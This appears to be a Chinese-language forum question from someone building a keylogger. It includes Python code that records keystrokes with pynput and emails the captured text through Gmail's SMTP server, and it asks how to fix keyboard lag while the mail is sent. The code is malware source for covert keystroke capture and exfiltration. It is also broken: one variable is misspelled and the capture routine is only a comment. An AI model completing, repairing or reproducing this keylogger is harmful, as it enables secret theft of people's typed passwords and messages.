我正在制作一个键盘记录器作为我的第二个项目,并且一切正常,但是,在发送电子邮件的过程中收集数据(通常为 100-150 个字的字符串)后,PC 因键盘延迟而受到很大影响。我已经尝试暂停检查按键的侦听器,但它不起作用,我正在使用 pynput 收集数据并使用 smtplib 发送电子邮件,有什么想法吗?
from pynput.keyboard import Key, Listener
import smtplib, ssl
def send_mail():
with smtplib.SMTP_SSL("smtp.gmail.com", 465, context=ssl.create_default_context()) as server:
server.login("sender@gmail.com", "password")
server.sendmail("sender@gmail.com", "reciever@gmail.com", string)
server.quit()
strin=''
def on_press(key):
#gather information
if len(string) > 100:
send_mail()
with Listener(on_press=on_press) as listener:
listener.join()